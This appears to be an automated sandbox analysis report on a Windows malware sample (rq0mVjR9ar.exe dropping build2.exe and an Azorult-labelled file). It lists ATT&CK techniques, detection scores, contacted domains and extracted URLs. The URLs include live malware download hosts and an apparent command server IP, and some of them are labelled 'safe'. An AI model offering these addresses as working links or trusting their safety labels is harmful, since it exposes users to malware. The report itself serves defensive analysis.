Source: Yara match	File source: Process Memory Space: build2.exe PID: 5644, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rq0mVjR9ar.exe	42%	Virustotal		Browse
rq0mVjR9ar.exe	100%	Avira	HEUR/AGEN.1313019
rq0mVjR9ar.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	42%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	45%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll	1%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sdfjhuz.com	24%	Virustotal		Browse
cajgtus.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dll0	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exerunb656	100%	Avira URL Cloud	malware
https://95.217.9.149Data	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exeT(	100%	Avira URL Cloud	malware
https://s.ytimg.com;	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	2%	Virustotal		Browse
http://cajgtus.com/files/1/build3.exeM	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exerunx	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://95.217.9.149/)B	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	3%	Virustotal		Browse
https://95.217.9.149/pet	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Virustotal		Browse
https://lv.queniujq.cn	0%	Virustotal		Browse
https://95.217.9.149.exe	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exep	100%	Avira URL Cloud	malware
https://95.217.9.149/	4%	Virustotal		Browse
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://95.217.9.149	4%	Virustotal		Browse
https://recaptcha.net/recaptcha/;	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exep	22%	Virustotal		Browse
https://95.217.9.1494JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZv	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
https://medal.tv	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe	100%	Avira URL Cloud	malware
https://medal.tv	0%	Virustotal		Browse
https://95.217.9.149/u	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Virustotal		Browse
http://sdfjhuz.com/dl/build2.exe	26%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sdfjhuz.com	186.147.159.149	true	true	24%, Virustotal, Browse	unknown
cajgtus.com	200.45.93.45	true	true	4%, Virustotal, Browse	unknown
steamcommunity.com	96.17.209.196	true	false		high
api.2ip.ua	172.67.139.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true	true	Avira URL Cloud: safe	unknown
https://95.217.9.149/	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://sdfjhuz.com/dl/build2.exe	true	26%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199673019888y	build2.exe, 0000000A.00000002.2359644104.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	rq0mVjR9ar.exe, 00000006.00000003.2189658649.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/sqln.dll0	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/privacy-sdx.win32.bundle.js.map/e3b0c4429	rq0mVjR9ar.exe, 00000006.00000003.2194150793.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://sdfjhuz.com/dl/build2.exerunb656	rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149Data	build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://sdfjhuz.com/dl/build2.exeT(	rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonW70i8	rq0mVjR9ar.exe, 00000002.00000002.2092151672.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json&/	rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://cajgtus.com/files/1/build3.exeM	rq0mVjR9ar.exe, 00000006.00000003.2542221585.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489978712.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574936363.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2615451600.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590194331.000000000310C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603470581.000000000310C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.reddit.com/	rq0mVjR9ar.exe, 00000008.00000003.2186554606.0000000003570000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cajgtus.com/files/1/build3.exerunx	rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonom	rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonQ	rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000578000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonm	rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://sketchfab.com	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://clients3.google.com/generate_204	rq0mVjR9ar.exe, 00000006.00000003.2194758143.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/)B	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.youtube.com/	rq0mVjR9ar.exe, 00000006.00000003.2186707698.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612545007.00000000030DC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2613172673.00000000030DC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/H8	rq0mVjR9ar.exe, 00000008.00000003.2122964855.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/pet	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://javadl-esd-secure.oracle.com/update/1.8.0/map-1.8.0.xml)	rq0mVjR9ar.exe, 00000006.00000003.2192915009.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149.exe	build2.exe, 0000000A.00000002.2358794500.000000000051A000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/react-native-community/react-native-netinfo	rq0mVjR9ar.exe, 00000006.00000003.2194758143.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://95.217.9.149	build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
